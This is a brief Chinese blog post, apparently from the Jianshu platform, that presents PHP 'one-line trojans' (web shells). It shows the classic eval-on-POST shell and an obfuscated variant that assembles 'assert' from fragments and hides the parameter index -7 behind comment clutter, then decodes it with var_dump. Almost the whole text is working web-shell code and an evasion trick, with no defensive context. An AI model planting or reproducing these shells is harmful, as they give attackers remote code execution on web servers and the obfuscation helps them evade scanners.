一句话木马

经典一句话

<?php @eval($_POST['shell']);?>

其他变种

<?php

@$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r';        
@$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t';                  
$a = @$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'}                  
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);

使用var_dump(),打印出来关键信息:

var_dump($_);    # string(6) "assert"
var_dump(/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/);    int(-7)

最终一句话木马为:

assert($_{POST}[-7])

continue...

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容